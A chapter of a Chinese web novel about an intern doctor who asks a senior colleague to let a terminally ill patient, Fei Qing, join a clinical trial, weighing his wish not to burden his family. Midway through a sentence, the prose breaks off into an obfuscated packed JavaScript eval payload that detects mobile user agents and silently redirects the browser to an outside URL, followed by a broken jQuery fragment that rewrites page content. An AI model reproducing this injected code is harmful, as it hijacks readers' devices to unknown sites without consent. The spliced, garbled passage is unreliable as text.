查房结束后，陆仁毅喊住了尤思。


    “陆主任。”


    “昨天的情况怎么样？”


    尤思知道他在说费清，一五一十地告诉了陆仁毅，“费先生的情况不是特别好。”


    陆仁毅点点头，“我知道了，对了，方徊最近在负责一项临床试验，缺人手，我想让你去帮帮他。”


    “我吗？”尤思有些不可置信，作为实习生的她，还不知道可以帮上什么忙。


    “嗯，我和他说过了，你等会去他办公室那里找他就好了。”


    尤思道谢后很快来了方徊所在的办公室。


    门半开着，里面传来键盘敲击的声音，没有给自己留一点喘息的间隙。


    她抬手敲了敲门。


    “进。”


    方徊坐在办公桌后面，屏幕上密密麻麻全是表格和数据。


    他抬起头，看了尤思一眼，又低下头继续敲键盘。


    “陆主任让我来的。”尤思走进去，“他说你这边缺人手。”


    “嗯。那边有椅子，你坐。”方徊朝旁边的小桌扬了扬下巴。


    “桌上的资料，需要你帮我按编号排好。入组病人的放一边，筛选失败的放另一边。麻烦你了。”


    尤思看了一眼那张小桌。


    上面堆着厚厚几摞资料，每一份都用透明文件夹装着，边角有些卷翘，被翻过很多次。


    她走过去坐下来，拿起第一份。


    编号N-001。


    入组日期，三个月前。


    年龄，六十二岁。


    她翻开文件夹。病历、检查报告、知情同意书，每一项都按顺序排好，贴着对应的彩色标签。


    手术记录那一栏，字迹很密，写得很认真。


    术后随访，用药反应，每一项数据更是填得整整齐齐。


    所有的一切都是方徊自己完成的。


    她继续往下翻。


    N-002，N-003，N-004。


    有人入组了，有人没入。


    有人在手术后恢复良好，也有人出现了并发症，最后只是多活了几天。


    N-012，入组失败。


    身体状况不符合术前评估标准。


    N-015，入组成功，术后一个月，患者自行要求退出。


    原因栏只写了两个字：太累。


    尤思盯着那两个字看了很久。


    她继续往后翻，N-017。


    入组日期是上周。


    年龄，五十八岁。


    和费清一样的病。


    她在想费清似乎也可以参加这项临床试验，万一他成功了呢。


    “方师兄。”


    方徊的视线从电脑屏幕上移开看向尤思，“怎么了？”


    “有考虑过让费清参加临床试验么？”尤思紧接着又补了一句，“就是先前在4号床的。”


    方徊若有所思，放下了手中的事情，“你说费清啊，我知道他的情况。”


    “他的病历我上周调出来看过，身体状况不太理想。如果做术前评估，大概率能过，但手术本身……”


    他没有说完。


    尤思知道他想说什么。


    当然手术本身有风险，术后还有排异反应，有并发症。


    尤思问道，“那她有希望么？”


    方徊叹了一口气，“有希望，但也有代价。”


    “你知道他为什么不想治吗？其实我提议过。”


    尤思思索片刻，点点头，“我想我知道，大概因为他不想拖累家里人吧。”


    方徊：“那如果他参加了临床试验，就算成功了，多活半年。这半年里，他的家人还是要来照顾他。还是要花钱，后续的康复情况需要大量的钱来维持。”


    他顿了顿，“但我想，这样他大概是不愿意的。”


    尤思想起费清说的话。


    不治了，不治了。我这一把老骨头，治了也没啥用。


    纯粹就是负担。


    “但我想他的家人是想治的，我前几天在保安处碰到他的家属了，她接病历的时候，手一直在抖。”


    方徊沉默了一会儿。


    他扫了一眼尤思手中的档案，“你知道N-017吗？就是你刚刚整理的那个。”


    尤思低头又看了一眼手里的文件夹。“知道，刚刚看了。入组上周，五十八岁，和费清一样的病。”


    “那个人是自己想试的。”方徊说，“他儿子刚考上研究生，他想看着儿子毕业。所以他来签知情同意书的时候，一点都没有犹豫。”


    “费清不一样。他不是不想活。他是不想拖累别人。你让他家属签，我想她一定会签。但费清自己呢？他愿意让别人替他做这个决定吗？”


    尤思没有说话。


    她想起费清躺在疗养院那张床上的样子，瘦得只剩一把骨头。


    他说不治了的时候，声音很轻，但很坚决。


    “我不知道。”她说。


    方徊：“那你为什么想让他试？”


    尤思想了很久，方徊没有催促她，也没有继续手上的工作，只是静静等待着她的答案。


    “因为……”她顿了顿，“因为我想，如果是我躺在那里的话，我也想多活几天。”


    在她作为病人的那段时间，她急切地想要逃离这所医院。


    她不知道自己是什么病，但当她看见处方单上那模糊的“已放弃治疗”，她害怕了。


    她想要活下去。


    “我昨天去看他了，看见他那个样子，我心里很难受。我一直在想，如果有一个机会，哪怕很小，他会不会也想多活几天？不是为了自己，而是为了他的家人。”


    办公室陷入了一片安静，方徊的手指轻敲着桌面，他沉默了很久。


    “你让他家属下周一来一趟。”


    “做术前评估。”方徊转回电脑屏幕，继续敲键盘，“过了再说。但你要跟她说清楚，不一定能过。过了也不一定能做。做了也不一定能成。而且最重要的还是患者的诉求，如果他没有办法配合，这件事还是算了。”


    尤思手里攥着N-017的文件夹。


    她张了张嘴，想说什么，但喉咙里像堵着东西。


    “谢谢方师兄。”她的声音有点哑。


    方徊没抬头，“别谢太早，重要的还是患者。”


    尤思站起来，把N-017的文件夹放回原处。


    “方师兄。”


    “嗯？”


    “我看N-017那个人情况差不多，他现在怎么样了？”


    方徊的手停了一下，但他没有抬头。


    “离开了。但多活了四个月，正好够他儿子考完研，他走的时候，儿子在床边。”


    方徊有些遗憾，又


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352151|196145||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有些感慨。


    尤思觉得他的脸上有一丝笑容，很淡，几乎看不出来。


    她拿出手机，给费清的妻子发了一条消息。


    “有一个临床试验，或许对老费有帮助，试验期间不需要花钱。如果你们需要的话，下周一，带老费来做术前评估。方师兄帮他申请了。”


    他的妻子回复来得很快，“真的？”


    “真的。”


    “谢谢你，我周一过来。”


    她是一个寡言少语的人，但在费清的治疗上总是很积极。


    尤思把手机收起来，往三号床的方向走去。


    那股冷潮的甜腥还在，但她已经习惯了。


    她推开三号床的门，患者尤思坐在窗边，听见脚步声，转过头。


    她的脸上挂着淡淡的笑容，“你来了。”


    “嗯。”尤思走过去，自然地在她旁边坐下来，“今天感觉怎么样？”


    “还行，那股味道淡了一点。”


    尤思点了点头，“我也觉得。”


    患者尤思：“你看起来不一样了。”


    尤思有些诧异，“哪里不一样？”


    “说不上来。”患者尤思歪了歪头，“但是感觉和之前的状态有点差别。”


    尤思陪她坐了一会，一起静静地看着窗外。


    想着费清，想着那个女人，想着N-017那个人。


    想着方徊说的那句话，多活了四个月，正好够他儿子考完研。


    四个月。


    够做什么？


    时间好像很长，但又似乎转瞬即逝。


    费清的家人又能多陪他许久，但是他本人真的愿意吗？


    尤思不知道，但她想试试。


    “我明天还来。”她站起来。


    患者尤思点了点头，“好。”


    尤思推开门，走出去。


    走廊里灯光均匀，她的脚步比来时慢了一些。


    她在想费清，想那些数字。


    四个月，一百二十天，两千八百八十个小时。


    够干什么？够一个老人坐在窗边，看八十次日落。


    但如果费清不想呢？


    走廊那股冷潮的甜腥还在，但她已经知道怎么和它相处了。


    不是对抗，是接受。


    就像费清接受自己会死，就像那个女人接受自己辛苦工作。


    尤思走进值班室，拿出手机看了一眼时间。


    九点四十分。还早。


    她靠在床头，把手机放在枕边。


    屏幕暗下去，值班室里只剩下窗外透进来的一点光。


    很暗，但足够看清房间的轮廓。


    床，桌子，以及那件挂在门后的白大褂。


    成为实习生的这些日子，她感觉自己似乎比作为病人的自己有了更多的选择权，但是很多的时候，又似乎总是无能为力。


    眼睁睁的，注视着许多鲜活的生命来到这里，接着悄然离开。


    大多数患者哭丧着脸走进这栋白色大楼，然后有些痛苦地离开这里。


    她能做的事情不多。


    查房，写记录，回答陆仁毅的问题，她偶尔去三号床坐坐。


    这些事很小，小到有时候她觉得什么都没做。


    尤思掐掉手机，躺下来，闭上眼睛。


    窗外的天已经暗了，但她知道，明天还会亮。